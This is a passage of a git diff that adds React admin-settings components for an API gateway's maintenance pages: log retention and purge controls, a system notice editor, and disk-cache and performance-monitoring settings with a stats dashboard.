+      <div className='text-muted-foreground flex h-full w-full flex-1 items-center justify-center'>
+        {t('Loading maintenance settings...')}
+      </div>
+    )
+  }
+
+  const activeSection = (params?.section ?? MAINTENANCE_DEFAULT_SECTION) as
+    | 'update-checker'
+    | 'notice'
+    | 'logs'
+    | 'header-navigation'
+    | 'sidebar-modules'
+    | 'performance'
+  const sectionContent = getMaintenanceSectionContent(
+    activeSection,
+    settings,
+    status?.version as string | undefined,
+    status?.start_time as number | null | undefined
+  )
+
+  return (
+    <div className='flex h-full w-full flex-1 flex-col'>
+      <div className='faded-bottom h-full w-full overflow-y-auto scroll-smooth pe-4 pb-12'>
+        <div className='space-y-4'>{sectionContent}</div>
+      </div>
+    </div>
+  )
+}
diff --git a/new-api/web/default/src/features/system-settings/maintenance/log-settings-section.tsx b/new-api/web/default/src/features/system-settings/maintenance/log-settings-section.tsx
new file mode 100644
index 0000000..15d67e5
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/maintenance/log-settings-section.tsx
@@ -0,0 +1,243 @@
+import { useEffect, useMemo, useState } from 'react'
+import * as z from 'zod'
+import { useForm } from 'react-hook-form'
+import { zodResolver } from '@hookform/resolvers/zod'
+import { useTranslation } from 'react-i18next'
+import { toast } from 'sonner'
+import { formatTimestampToDate } from '@/lib/format'
+import {
+  AlertDialog,
+  AlertDialogAction,
+  AlertDialogCancel,
+  AlertDialogContent,
+  AlertDialogDescription,
+  AlertDialogFooter,
+  AlertDialogHeader,
+  AlertDialogTitle,
+} from '@/components/ui/alert-dialog'
+import { Button } from '@/components/ui/button'
+import {
+  Form,
+  FormControl,
+  FormDescription,
+  FormField,
+  FormItem,
+  FormLabel,
+  FormMessage,
+} from '@/components/ui/form'
+import { Switch } from '@/components/ui/switch'
+import { DateTimePicker } from '@/components/datetime-picker'
+import { deleteLogsBefore } from '../api'
+import { SettingsSection } from '../components/settings-section'
+import { useUpdateOption } from '../hooks/use-update-option'
+
+const logSettingsSchema = z.object({
+  LogConsumeEnabled: z.boolean(),
+})
+
+type LogSettingsFormValues = z.infer<typeof logSettingsSchema>
+
+type LogSettingsSectionProps = {
+  defaultEnabled: boolean
+}
+
+const HOURS_IN_DAY = 24
+
+const getDateHoursAgo = (hours: number) => {
+  const date = new Date()
+  date.setHours(date.getHours() - hours)
+  return date
+}
+
+const getDateDaysAgo = (days: number) => getDateHoursAgo(days * HOURS_IN_DAY)
+
+const quickSelectOptions = [
+  {
+    label: '24 hours ago',
+    getValue: () => getDateHoursAgo(24),
+  },
+  {
+    label: '7 days ago',
+    getValue: () => getDateDaysAgo(7),
+  },
+  {
+    label: '30 days ago',
+    getValue: () => getDateDaysAgo(30),
+  },
+]
+
+export function LogSettingsSection({
+  defaultEnabled,
+}: LogSettingsSectionProps) {
+  const { t } = useTranslation()
+  const updateOption = useUpdateOption()
+  const form = useForm<LogSettingsFormValues>({
+    resolver: zodResolver(logSettingsSchema),
+    defaultValues: {
+      LogConsumeEnabled: defaultEnabled,
+    },
+  })
+
+  const [purgeDate, setPurgeDate] = useState<Date | undefined>(() =>
+    getDateDaysAgo(30)
+  )
+  const [isCleaning, setIsCleaning] = useState(false)
+  const [showConfirmDialog, setShowConfirmDialog] = useState(false)
+
+  useEffect(() => {
+    form.reset({ LogConsumeEnabled: defaultEnabled })
+  }, [defaultEnabled, form])
+
+  const purgeTimestamp = useMemo(() => {
+    if (!purgeDate) return null
+    return Math.floor(purgeDate.getTime() / 1000)
+  }, [purgeDate])
+
+  const formattedPurgeDate = useMemo(() => {
+    if (!purgeDate) return ''
+    return formatTimestampToDate(purgeDate.getTime(), 'milliseconds')
+  }, [purgeDate])
+
+  const onSubmit = async (values: LogSettingsFormValues) => {
+    if (values.LogConsumeEnabled === defaultEnabled) return
+    await updateOption.mutateAsync({
+      key: 'LogConsumeEnabled',
+      value: values.LogConsumeEnabled,
+    })
+  }
+
+  const handleRequestCleanLogs = () => {
+    if (!purgeTimestamp) {
+      toast.error(t('Select a timestamp before clearing logs.'))
+      return
+    }
+
+    setShowConfirmDialog(true)
+  }
+
+  const handleCleanLogs = async () => {
+    if (!purgeTimestamp) {
+      toast.error(t('Select a timestamp before clearing logs.'))
+      return
+    }
+
+    setIsCleaning(true)
+    try {
+      const res = await deleteLogsBefore(purgeTimestamp)
+      if (!res.success) {
+        throw new Error(res.message || t('Failed to clean logs'))
+      }
+      const count = res.data ?? 0
+      toast.success(
+        count > 0
+          ? t('{{count}} log entries removed.', { count })
+          : t('No log entries matched the selected time.')
+      )
+    } catch (error) {
+      const message =
+        error instanceof Error ? error.message : t('Failed to clean logs')
+      toast.error(message)
+    } finally {
+      setIsCleaning(false)
+    }
+  }
+
+  return (
+    <SettingsSection
+      title={t('Log Maintenance')}
+      description={t('Control log retention and clean historical data.')}
+    >
+      <Form {...form}>
+        <form onSubmit={form.handleSubmit(onSubmit)} className='space-y-6'>
+          <FormField
+            control={form.control}
+            name='LogConsumeEnabled'
+            render={({ field }) => (
+              <FormItem className='flex flex-row items-start justify-between rounded-lg border p-4'>
+                <div className='space-y-0.5 pe-4'>
+                  <FormLabel className='text-base'>
+                    {t('Record quota usage')}
+                  </FormLabel>
+                  <FormDescription>
+                    {t(
+                      'Track per-request consumption to power usage analytics. Keeping this on increases database writes.'
+                    )}
+                  </FormDescription>
+                </div>
+                <FormControl>
+                  <Switch
+                    checked={field.value}
+                    onCheckedChange={field.onChange}
+                  />
+                </FormControl>
+                <FormMessage />
+              </FormItem>
+            )}
+          />
+
+          <div className='space-y-4 rounded-lg border p-4'>
+            <div>
+              <h4 className='text-sm font-medium'>{t('Clean history logs')}</h4>
+              <p className='text-muted-foreground text-sm'>
+                {t(
+                  'Remove all log entries created before the selected timestamp.'
+                )}
+              </p>
+            </div>
+            <DateTimePicker value={purgeDate} onChange={setPurgeDate} />
+            <div className='flex flex-wrap gap-3'>
+              {quickSelectOptions.map((option) => (
+                <Button
+                  key={option.label}
+                  type='button'
+                  variant='outline'
+                  onClick={() => setPurgeDate(option.getValue())}
+                >
+                  {t(option.label)}
+                </Button>
+              ))}
+              <Button
+                type='button'
+                variant='destructive'
+                onClick={handleRequestCleanLogs}
+                disabled={isCleaning}
+              >
+                {isCleaning ? t('Cleaning...') : t('Clean logs')}
+              </Button>
+            </div>
+          </div>
+
+          <Button type='submit' disabled={updateOption.isPending}>
+            {updateOption.isPending ? t('Saving...') : t('Save log settings')}
+          </Button>
+        </form>
+      </Form>
+      <AlertDialog open={showConfirmDialog} onOpenChange={setShowConfirmDialog}>
+        <AlertDialogContent>
+          <AlertDialogHeader>
+            <AlertDialogTitle>{t('Confirm log cleanup')}</AlertDialogTitle>
+            <AlertDialogDescription>
+              {formattedPurgeDate
+                ? t(
+                    'This will permanently remove all log entries created before {{date}}.',
+                    { date: formattedPurgeDate }
+                  )
+                : t(
+                    'This will permanently remove log entries before the selected timestamp.'
+                  )}{' '}
+              {t('This action cannot be undone.')}
+            </AlertDialogDescription>
+          </AlertDialogHeader>
+          <AlertDialogFooter>
+            <AlertDialogCancel disabled={isCleaning}>
+              {t('Cancel')}
+            </AlertDialogCancel>
+            <AlertDialogAction onClick={handleCleanLogs} disabled={isCleaning}>
+              {isCleaning ? t('Cleaning...') : t('Delete logs')}
+            </AlertDialogAction>
+          </AlertDialogFooter>
+        </AlertDialogContent>
+      </AlertDialog>
+    </SettingsSection>
+  )
+}
diff --git a/new-api/web/default/src/features/system-settings/maintenance/notice-section.tsx b/new-api/web/default/src/features/system-settings/maintenance/notice-section.tsx
new file mode 100644
index 0000000..ef008c9
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/maintenance/notice-section.tsx
@@ -0,0 +1,90 @@
+import { useEffect } from 'react'
+import * as z from 'zod'
+import { useForm } from 'react-hook-form'
+import { zodResolver } from '@hookform/resolvers/zod'
+import { useTranslation } from 'react-i18next'
+import { Button } from '@/components/ui/button'
+import {
+  Form,
+  FormControl,
+  FormField,
+  FormItem,
+  FormLabel,
+  FormMessage,
+} from '@/components/ui/form'
+import { Textarea } from '@/components/ui/textarea'
+import { SettingsSection } from '../components/settings-section'
+import { useUpdateOption } from '../hooks/use-update-option'
+
+const noticeSchema = z.object({
+  Notice: z.string().optional(),
+})
+
+type NoticeFormValues = z.infer<typeof noticeSchema>
+
+type NoticeSectionProps = {
+  defaultValue: string
+}
+
+export function NoticeSection({ defaultValue }: NoticeSectionProps) {
+  const { t } = useTranslation()
+  const updateOption = useUpdateOption()
+  const form = useForm<NoticeFormValues>({
+    resolver: zodResolver(noticeSchema),
+    defaultValues: {
+      Notice: defaultValue ?? '',
+    },
+  })
+
+  useEffect(() => {
+    form.reset({ Notice: defaultValue ?? '' })
+  }, [defaultValue, form])
+
+  const onSubmit = async (values: NoticeFormValues) => {
+    const normalized = values.Notice ?? ''
+    if (normalized === (defaultValue ?? '')) {
+      return
+    }
+    await updateOption.mutateAsync({
+      key: 'Notice',
+      value: normalized,
+    })
+  }
+
+  return (
+    <SettingsSection
+      title={t('System Notice')}
+      description={t(
+        'Broadcast a global banner to users. Markdown is supported.'
+      )}
+    >
+      <Form {...form}>
+        <form onSubmit={form.handleSubmit(onSubmit)} className='space-y-6'>
+          <FormField
+            control={form.control}
+            name='Notice'
+            render={({ field }) => (
+              <FormItem>
+                <FormLabel>{t('Announcement content')}</FormLabel>
+                <FormControl>
+                  <Textarea
+                    rows={8}
+                    placeholder={t(
+                      'Planned maintenance on Friday at 22:00 UTC...'
+                    )}
+                    {...field}
+                  />
+                </FormControl>
+                <FormMessage />
+              </FormItem>
+            )}
+          />
+
+          <Button type='submit' disabled={updateOption.isPending}>
+            {updateOption.isPending ? t('Saving...') : t('Save notice')}
+          </Button>
+        </form>
+      </Form>
+    </SettingsSection>
+  )
+}
diff --git a/new-api/web/default/src/features/system-settings/maintenance/performance-section.tsx b/new-api/web/default/src/features/system-settings/maintenance/performance-section.tsx
new file mode 100644
index 0000000..69e2d7e
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/maintenance/performance-section.tsx
@@ -0,0 +1,781 @@
+import { useCallback, useEffect, useState } from 'react'
+import * as z from 'zod'
+import { useForm } from 'react-hook-form'
+import { zodResolver } from '@hookform/resolvers/zod'
+import { useTranslation } from 'react-i18next'
+import { toast } from 'sonner'
+import { api } from '@/lib/api'
+import dayjs from '@/lib/dayjs'
+import { Alert, AlertDescription } from '@/components/ui/alert'
+import {
+  AlertDialog,
+  AlertDialogAction,
+  AlertDialogCancel,
+  AlertDialogContent,
+  AlertDialogDescription,
+  AlertDialogFooter,
+  AlertDialogHeader,
+  AlertDialogTitle,
+  AlertDialogTrigger,
+} from '@/components/ui/alert-dialog'
+import { Button } from '@/components/ui/button'
+import {
+  Form,
+  FormControl,
+  FormDescription,
+  FormField,
+  FormItem,
+  FormLabel,
+} from '@/components/ui/form'
+import { Input } from '@/components/ui/input'
+import { Label } from '@/components/ui/label'
+import { Progress } from '@/components/ui/progress'
+import {
+  Select,
+  SelectContent,
+  SelectItem,
+  SelectTrigger,
+  SelectValue,
+} from '@/components/ui/select'
+import { Separator } from '@/components/ui/separator'
+import { Switch } from '@/components/ui/switch'
+import { StatusBadge } from '@/components/status-badge'
+import { SettingsSection } from '../components/settings-section'
+import { useResetForm } from '../hooks/use-reset-form'
+import { useUpdateOption } from '../hooks/use-update-option'
+
+const perfSchema = z.object({
+  'performance_setting.disk_cache_enabled': z.boolean(),
+  'performance_setting.disk_cache_threshold_mb': z.coerce.number().min(1),
+  'performance_setting.disk_cache_max_size_mb': z.coerce.number().min(100),
+  'performance_setting.disk_cache_path': z.string().optional(),
+  'performance_setting.monitor_enabled': z.boolean(),
+  'performance_setting.monitor_cpu_threshold': z.coerce.number().min(0),
+  'performance_setting.monitor_memory_threshold': z.coerce
+    .number()
+    .min(0)
+    .max(100),
+  'performance_setting.monitor_disk_threshold': z.coerce
+    .number()
+    .min(0)
+    .max(100),
+})
+
+type PerfFormValues = z.infer<typeof perfSchema>
+
+function formatBytes(bytes: number, decimals = 2): string {
+  if (!bytes || isNaN(bytes)) return '0 Bytes'
+  if (bytes === 0) return '0 Bytes'
+  if (bytes < 0) return '-' + formatBytes(-bytes, decimals)
+  const k = 1024
+  const sizes = ['Bytes', 'KB', 'MB', 'GB', 'TB']
+  const i = Math.floor(Math.log(Math.abs(bytes)) / Math.log(k))
+  if (i < 0 || i >= sizes.length) return bytes + ' Bytes'
+  return parseFloat((bytes / Math.pow(k, i)).toFixed(decimals)) + ' ' + sizes[i]
+}
+
+interface Props {
+  defaultValues: PerfFormValues
+}
+
+type LogInfo = {
+  enabled: boolean
+  log_dir: string
+  file_count: number
+  total_size: number
+  oldest_time?: string
+  newest_time?: string
+}
+
+type PerformanceStats = {
+  cache_stats?: {
+    current_disk_usage_bytes: number
+    disk_cache_max_bytes: number
+    active_disk_files: number
+    disk_cache_hits: number
+    current_memory_usage_bytes: number
+    active_memory_buffers: number
+    memory_cache_hits: number
+  }
+  disk_space_info?: {
+    total: number
+    free: number
+    used: number
+    used_percent: number
+  }
+  memory_stats?: {
+    alloc: number
+    total_alloc: number
+    sys: number
+    num_gc: number
+    num_goroutine: number
+  }
+  disk_cache_info?: {
+    path: string
+    file_count: number
+    total_size: number
+  }
+  config?: {
+    is_running_in_container: boolean
+  }
+}
+
+export function PerformanceSection(props: Props) {
+  const { t } = useTranslation()
+  const updateOption = useUpdateOption()
+  const [stats, setStats] = useState<PerformanceStats | null>(null)
+  const [logInfo, setLogInfo] = useState<LogInfo | null>(null)
+  const [logCleanupMode, setLogCleanupMode] = useState('by_count')
+  const [logCleanupValue, setLogCleanupValue] = useState(10)
+  const [logCleanupLoading, setLogCleanupLoading] = useState(false)
+
+  const form = useForm<PerfFormValues>({
+    // eslint-disable-next-line @typescript-eslint/no-explicit-any
+    resolver: zodResolver(perfSchema) as any,
+    defaultValues: props.defaultValues,
+  })
+
+  // eslint-disable-next-line @typescript-eslint/no-explicit-any
+  useResetForm(form as any, props.defaultValues)
+
+  const fetchStats = useCallback(async () => {
+    try {
+      const res = await api.get('/api/performance/stats')
+      if (res.data.success) setStats(res.data.data)
+    } catch {
+      /* ignore */
+    }
+  }, [])
+
+  const fetchLogInfo = useCallback(async () => {
+    try {
+      const res = await api.get('/api/performance/logs')
+      if (res.data.success) setLogInfo(res.data.data)
+    } catch {
+      /* ignore */
+    }
+  }, [])
+
+  useEffect(() => {
+    fetchStats()
+    fetchLogInfo()
+  }, [fetchStats, fetchLogInfo])
+
+  const onSubmit = async (data: PerfFormValues) => {
+    const entries = Object.entries(data) as [string, unknown][]
+    const updates = entries.filter(
+      ([key, value]) =>
+        value !== (props.defaultValues[key as keyof PerfFormValues] as unknown)
+    )
+    if (updates.length === 0) {
+      toast.info(t('No changes to save'))
+      return
+    }
+    for (const [key, value] of updates) {
+      await updateOption.mutateAsync({
+        key,
+        value: value as string | number | boolean,
+      })
+    }
+    toast.success(t('Saved successfully'))
+    fetchStats()
+  }
+
+  const clearDiskCache = async () => {
+    try {
+      const res = await api.delete('/api/performance/disk_cache')
+      if (res.data.success) {
+        toast.success(t('Disk cache cleared'))
+        fetchStats()
+      }
+    } catch {
+      toast.error(t('Cleanup failed'))
+    }
+  }
+
+  const resetStats = async () => {
+    try {
+      const res = await api.post('/api/performance/reset_stats')
+      if (res.data.success) {
+        toast.success(t('Statistics reset'))
+        fetchStats()
+      }
+    } catch {
+      toast.error(t('Reset failed'))
+    }
+  }
+
+  const forceGC = async () => {
+    try {
+      const res = await api.post('/api/performance/gc')
+      if (res.data.success) {
+        toast.success(t('GC executed'))
+        fetchStats()
+      }
+    } catch {
+      toast.error(t('GC execution failed'))
+    }
+  }
+
+  const cleanupLogFiles = async () => {
+    if (!logCleanupValue || isNaN(logCleanupValue) || logCleanupValue < 1) {
+      toast.error(t('Please enter a valid number'))
+      return
+    }
+    setLogCleanupLoading(true)
+    try {
+      const res = await api.delete(
+        `/api/performance/logs?mode=${logCleanupMode}&value=${logCleanupValue}`
+      )
+      if (res.data.success) {
+        const { deleted_count, freed_bytes } = res.data.data
+        toast.success(
+          t('Cleaned up {{count}} log files, freed {{size}}', {
+            count: deleted_count,
+            size: formatBytes(freed_bytes),
+          })
+        )
+      } else {
+        toast.error(res.data.message || t('Cleanup failed'))
+      }
+      fetchLogInfo()
+    } catch {
+      toast.error(t('Cleanup failed'))
+    } finally {
+      setLogCleanupLoading(false)
+    }
+  }
+
+  const diskEnabled = form.watch('performance_setting.disk_cache_enabled')
+  const monitorEnabled = form.watch('performance_setting.monitor_enabled')
+  const maxCacheSizeMb = form.watch(
+    'performance_setting.disk_cache_max_size_mb'
+  )
+
+  const lowDiskSpace =
+    diskEnabled &&
+    stats?.disk_space_info &&
+    stats.disk_space_info.free > 0 &&
+    maxCacheSizeMb > 0 &&
+    stats.disk_space_info.free < maxCacheSizeMb * 1024 * 1024
+
+  const diskCachePercent =
+    stats?.cache_stats?.disk_cache_max_bytes &&
+    stats.cache_stats.disk_cache_max_bytes > 0
+      ? Math.round(
+          (stats.cache_stats.current_disk_usage_bytes /
+            stats.cache_stats.disk_cache_max_bytes) *
+            100
+        )
+      : 0
+
+  return (
+    <SettingsSection
+      title={t('Performance Settings')}
+      description={t(
+        'Disk cache, system performance monitoring, and operation statistics'
+      )}
+    >
+      <Form {...form}>
+        <form onSubmit={form.handleSubmit(onSubmit)} className='space-y-6'>
+          {/* Disk Cache Settings */}
+          <div>
+            <h4 className='font-medium'>{t('Disk Cache Settings')}</h4>
+            <p className='text-muted-foreground mt-1 text-xs'>
+              {t(
+                'When enabled, large request bodies are temporarily stored on disk instead of memory, significantly reducing memory usage. SSD recommended.'
+              )}
+            </p>
+          </div>
+
+          <div className='grid grid-cols-1 gap-4 md:grid-cols-3'>
+            <FormField
+              control={form.control}
+              name='performance_setting.disk_cache_enabled'
+              render={({ field }) => (
+                <FormItem className='flex items-center gap-2'>
+                  <FormControl>
+                    <Switch
+                      checked={field.value}
+                      onCheckedChange={field.onChange}
+                    />
+                  </FormControl>
+                  <FormLabel>{t('Enable Disk Cache')}</FormLabel>
+                </FormItem>
+              )}
+            />
+            <FormField
+              control={form.control}
+              name='performance_setting.disk_cache_threshold_mb'
+              render={({ field }) => (
+                <FormItem>
+                  <FormLabel>{t('Disk Cache Threshold (MB)')}</FormLabel>
+                  <FormControl>
+                    <Input type='number' {...field} disabled={!diskEnabled} />
+                  </FormControl>
+                  <FormDescription>
+                    {t('Use disk cache when request body exceeds this size')}
+                  </FormDescription>
+                </FormItem>
+              )}
+            />
+            <FormField
+              control={form.control}
+              name='performance_setting.disk_cache_max_size_mb'
+              render={({ field }) => (
+                <FormItem>
+                  <FormLabel>{t('Max Disk Cache Size (MB)')}</FormLabel>
+                  <FormControl>
+                    <Input type='number' {...field} disabled={!diskEnabled} />
+                  </FormControl>
+                  {stats?.disk_space_info &&
+                    stats.disk_space_info.total > 0 && (
+                      <FormDescription>
+                        {t('Free: {{free}} / Total: {{total}}', {
+                          free: formatBytes(stats.disk_space_info.free),
+                          total: formatBytes(stats.disk_space_info.total),
+                        })}
+                      </FormDescription>
+                    )}
+                </FormItem>
+              )}
+            />
+          </div>
+
+          {lowDiskSpace && (
+            <Alert variant='destructive'>
+              <AlertDescription>
+                {`${t('Warning')}: ${t('Available disk space')} (${formatBytes(stats?.disk_space_info?.free ?? 0)}) ${t('is less than the configured maximum cache size')} (${maxCacheSizeMb} MB). ${t('This may cause cache failures.')}`}
+              </AlertDescription>
+            </Alert>
+          )}
+
+          {!stats?.config?.is_running_in_container && (
+            <FormField
+              control={form.control}
+              name='performance_setting.disk_cache_path'
+              render={({ field }) => (
+                <FormItem className='max-w-md'>
+                  <FormLabel>{t('Cache Directory')}</FormLabel>
+                  <FormControl>
+                    <Input
+                      placeholder={t(
+                        'Leave empty to use system temp directory'
+                      )}
+                      {...field}
+                      value={field.value ?? ''}
+                      disabled={!diskEnabled}
+                    />
+                  </FormControl>
+                </FormItem>
+              )}
+            />
+          )}
+
+          <Separator />
+
+          {/* System Performance Monitor */}
+          <div>
+            <h4 className='font-medium'>
+              {t('System Performance Monitoring')}
+            </h4>
+            <p className='text-muted-foreground mt-1 text-xs'>
+              {t(
+                'When performance monitoring is enabled and system resource usage exceeds the set threshold, new Relay requests will be rejected.'
+              )}
+            </p>
+          </div>
+
+          <div className='grid grid-cols-1 gap-4 md:grid-cols-4'>
+            <FormField
+              control={form.control}
+              name='performance_setting.monitor_enabled'
+              render={({ field }) => (
+                <FormItem className='flex items-center gap-2'>
+                  <FormControl>
+                    <Switch
+                      checked={field.value}
+                      onCheckedChange={field.onChange}
+                    />
+                  </FormControl>
+                  <FormLabel>{t('Enable Performance Monitoring')}</FormLabel>
+                </FormItem>
+              )}
+            />
+            <FormField
+              control={form.control}
+              name='performance_setting.monitor_cpu_threshold'
+              render={({ field }) => (
+                <FormItem>
+                  <FormLabel>{t('CPU Threshold (%)')}</FormLabel>
+                  <FormControl>
+                    <Input
+                      type='number'
+                      {...field}
+                      disabled={!monitorEnabled}
+                    />
+                  </FormControl>
+                </FormItem>
+              )}
+            />
+            <FormField
+              control={form.control}
+              name='performance_setting.monitor_memory_threshold'
+              render={({ field }) => (
+                <FormItem>
+                  <FormLabel>{t('Memory Threshold (%)')}</FormLabel>
+                  <FormControl>
+                    <Input
+                      type='number'
+                      {...field}
+                      disabled={!monitorEnabled}
+                    />
+                  </FormControl>
+                </FormItem>
+              )}
+            />
+            <FormField
+              control={form.control}
+              name='performance_setting.monitor_disk_threshold'
+              render={({ field }) => (
+                <FormItem>
+                  <FormLabel>{t('Disk Threshold (%)')}</FormLabel>
+                  <FormControl>
+                    <Input
+                      type='number'
+                      {...field}
+                      disabled={!monitorEnabled}
+                    />
+                  </FormControl>
+                </FormItem>
+              )}
+            />
+          </div>
+
+          <Button type='submit' disabled={updateOption.isPending}>
+            {updateOption.isPending ? t('Saving...') : t('Save Changes')}
+          </Button>
+        </form>
+      </Form>
+
+      <Separator />
+
+      {/* Server Log Management */}
+      <div className='space-y-4'>
+        <div>
+          <h4 className='font-medium'>{t('Server Log Management')}</h4>
+          <p className='text-muted-foreground mt-1 text-xs'>
+            {t(
+              'Manage server log files. Log files accumulate over time; regular cleanup is recommended to free disk space.'
+            )}
+          </p>
+        </div>
+
+        {logInfo === null ? null : logInfo.enabled ? (
+          <div className='space-y-4'>
+            <div className='rounded-lg border p-4'>
+              <div className='grid grid-cols-2 gap-2 text-sm md:grid-cols-4'>
+                <div>
+                  <span className='text-muted-foreground'>
+                    {t('Log Directory')}:
+                  </span>{' '}
+                  <span className='font-mono text-xs'>{logInfo.log_dir}</span>
+                </div>
+                <div>
+                  <span className='text-muted-foreground'>
+                    {t('Log File Count')}:
+                  </span>{' '}
+                  {logInfo.file_count}
+                </div>
+                <div>
+                  <span className='text-muted-foreground'>
+                    {t('Total Log Size')}:
+                  </span>{' '}
+                  {formatBytes(logInfo.total_size)}
+                </div>
+                {logInfo.oldest_time && logInfo.newest_time && (
+                  <div>
+                    <span className='text-muted-foreground'>
+                      {t('Date Range')}:
+                    </span>{' '}
+                    {dayjs(logInfo.oldest_time).format('YYYY-MM-DD')} ~{' '}
+                    {dayjs(logInfo.newest_time).format('YYYY-MM-DD')}
+                  </div>
+                )}
+              </div>
+            </div>
+
+            <div className='flex flex-wrap items-end gap-3'>
+              <div className='grid gap-1.5'>
+                <Label className='text-xs'>{t('Cleanup Mode')}</Label>
+                <Select
+                  value={logCleanupMode}
+                  onValueChange={setLogCleanupMode}
+                >
+                  <SelectTrigger className='w-[160px]'>
+                    <SelectValue />
+                  </SelectTrigger>
+                  <SelectContent>
+                    <SelectItem value='by_count'>
+                      {t('Retain last N files')}
+                    </SelectItem>
+                    <SelectItem value='by_days'>
+                      {t('Retain last N days')}
+                    </SelectItem>
+                  </SelectContent>
+                </Select>
+              </div>
+              <div className='grid gap-1.5'>
+                <Label className='text-xs'>
+                  {logCleanupMode === 'by_count'
+                    ? t('Files to Retain')
+                    : t('Days to Retain')}
+                </Label>
+                <Input
+                  type='number'
+                  min={1}
+                  max={logCleanupMode === 'by_count' ? 1000 : 3650}
+                  value={logCleanupValue}
+                  onChange={(e) => setLogCleanupValue(Number(e.target.value))}
+                  className='w-[120px]'
+                />
+              </div>
+              <AlertDialog>
+                <AlertDialogTrigger asChild>
+                  <Button
+                    variant='destructive'
+                    size='sm'
+                    disabled={logCleanupLoading}
+                  >
+                    {logCleanupLoading
+                      ? t('Cleaning...')
+                      : t('Clean Up Log Files')}
+                  </Button>
+                </AlertDialogTrigger>
+                <AlertDialogContent>
+                  <AlertDialogHeader>
+                    <AlertDialogTitle>
+                      {t('Confirm log file cleanup?')}
+                    </AlertDialogTitle>
+                    <AlertDialogDescription>
+                      {logCleanupMode === 'by_count'
+                        ? t(
+                            'Only the last {{value}} log files will be retained; the rest will be deleted.',
+                            {
+                              value: logCleanupValue,
+                            }
+                          )
+                        : t(
+                            'Log files older than {{value}} days will be deleted.',
+                            {
+                              value: logCleanupValue,
+                            }
+                          )}
+                    </AlertDialogDescription>
+                  </AlertDialogHeader>
+                  <AlertDialogFooter>
+                    <AlertDialogCancel>{t('Cancel')}</AlertDialogCancel>
+                    <AlertDialogAction onClick={cleanupLogFiles}>
+                      {t('Confirm Cleanup')}
+                    </AlertDialogAction>
+                  </AlertDialogFooter>
+                </AlertDialogContent>
+              </AlertDialog>
+            </div>
+          </div>
+        ) : (
+          <Alert>
+            <AlertDescription>
+              {t(
+                'Server logging is not enabled (log directory not configured)'
+              )}
+            </AlertDescription>
+          </Alert>
+        )}
+      </div>
+
+      <Separator />
+
+      {/* Performance Stats Dashboard */}
+      <div className='space-y-4'>
+        <div className='flex items-center gap-2'>
+          <h4 className='font-medium'>{t('Performance Monitor')}</h4>
+          <Button variant='outline' size='sm' onClick={fetchStats}>
+            {t('Refresh Stats')}
+          </Button>
+          <AlertDialog>
+            <AlertDialogTrigger asChild>
+              <Button variant='outline' size='sm'>
+                {t('Clean up inactive cache')}
+              </Button>
+            </AlertDialogTrigger>
+            <AlertDialogContent>
+              <AlertDialogHeader>
+                <AlertDialogTitle>
+                  {t('Confirm cleanup of inactive disk cache?')}
+                </AlertDialogTitle>
+                <AlertDialogDescription>
+                  {t(
+                    'This will delete temporary cache files that have not been used for more than 10 minutes'
+                  )}
+                </AlertDialogDescription>
+              </AlertDialogHeader>
+              <AlertDialogFooter>
+                <AlertDialogCancel>{t('Cancel')}</AlertDialogCancel>
+                <AlertDialogAction onClick={clearDiskCache}>
+                  {t('Confirm')}
+                </AlertDialogAction>
+              </AlertDialogFooter>
+            </AlertDialogContent>
+          </AlertDialog>
+          <Button variant='outline' size='sm' onClick={resetStats}>
+            {t('Reset Stats')}
+          </Button>
+          <Button variant='outline' size='sm' onClick={forceGC}>
+            {t('Run GC')}
+          </Button>
+        </div>
+
+        {stats && (
+          <>
+            <div className='grid grid-cols-1 gap-4 md:grid-cols-2'>
+              <div className='space-y-2 rounded-lg border p-4'>
+                <p className='text-sm font-medium'>
+                  {t('Request Body Disk Cache')}
+                </p>
+                <Progress value={diskCachePercent} />
+                <div className='text-muted-foreground flex justify-between text-xs'>
+                  <span>
+                    {formatBytes(
+                      stats.cache_stats?.current_disk_usage_bytes ?? 0
+                    )}{' '}
+                    /{' '}
+                    {formatBytes(stats.cache_stats?.disk_cache_max_bytes ?? 0)}
+                  </span>
+                  <span>
+                    {t('Active Files')}:{' '}
+                    {stats.cache_stats?.active_disk_files ?? 0}
+                  </span>
+                </div>
+                <StatusBadge variant='neutral' copyable={false}>
+                  {t('Disk Hits')}: {stats.cache_stats?.disk_cache_hits ?? 0}
+                </StatusBadge>
+              </div>
+              <div className='space-y-2 rounded-lg border p-4'>
+                <p className='text-sm font-medium'>
+                  {t('Request Body Memory Cache')}
+                </p>
+                <div className='text-muted-foreground flex justify-between text-xs'>
+                  <span>
+                    {t('Current Cache Size')}:{' '}
+                    {formatBytes(
+                      stats.cache_stats?.current_memory_usage_bytes ?? 0
+                    )}
+                  </span>
+                  <span>
+                    {t('Active Cache Count')}:{' '}
+                    {stats.cache_stats?.active_memory_buffers ?? 0}
+                  </span>
+                </div>
+                <StatusBadge variant='neutral' copyable={false}>
+                  {t('Memory Hits')}:{' '}
+                  {stats.cache_stats?.memory_cache_hits ?? 0}
+                </StatusBadge>
+              </div>
+            </div>
+
+            {stats.disk_space_info && stats.disk_space_info.total > 0 && (
+              <div className='rounded-lg border p-4'>
+                <p className='mb-2 text-sm font-medium'>
+                  {t('Cache Directory Disk Space')}
+                </p>
+                <Progress
+                  value={Math.round(stats.disk_space_info.used_percent)}
+                />
+                <div className='text-muted-foreground mt-2 flex justify-between text-xs'>
+                  <span>
+                    {t('Used')}: {formatBytes(stats.disk_space_info.used)}
+                  </span>
+                  <span>
+                    {t('Available')}: {formatBytes(stats.disk_space_info.free)}
+                  </span>
+                  <span>
+                    {t('Total')}: {formatBytes(stats.disk_space_info.total)}
+                  </span>
+                </div>
+              </div>
+            )}
+
+            {stats.memory_stats && (
+              <div className='rounded-lg border p-4'>
+                <p className='mb-2 text-sm font-medium'>
+                  {t('System Memory Stats')}
+                </p>
+                <div className='grid grid-cols-2 gap-2 text-xs md:grid-cols-5'>
+                  <div>
+                    <span className='text-muted-foreground'>
+                      {t('Allocated Memory')}:
+                    </span>{' '}
+                    {formatBytes(stats.memory_stats.alloc)}
+                  </div>
+                  <div>
+                    <span className='text-muted-foreground'>
+                      {t('Total Allocated')}:
+                    </span>{' '}
+                    {formatBytes(stats.memory_stats.total_alloc)}
+                  </div>
+                  <div>
+                    <span className='text-muted-foreground'>
+                      {t('System Memory')}:
+                    </span>{' '}
+                    {formatBytes(stats.memory_stats.sys)}
+                  </div>
+                  <div>
